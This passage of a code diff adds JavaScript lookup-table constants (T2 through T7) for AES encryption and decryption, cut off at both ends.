0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; +const T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]; +const T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]; +const T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]; + +// Transformations for decryption +const T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]; +const T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]; +const T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 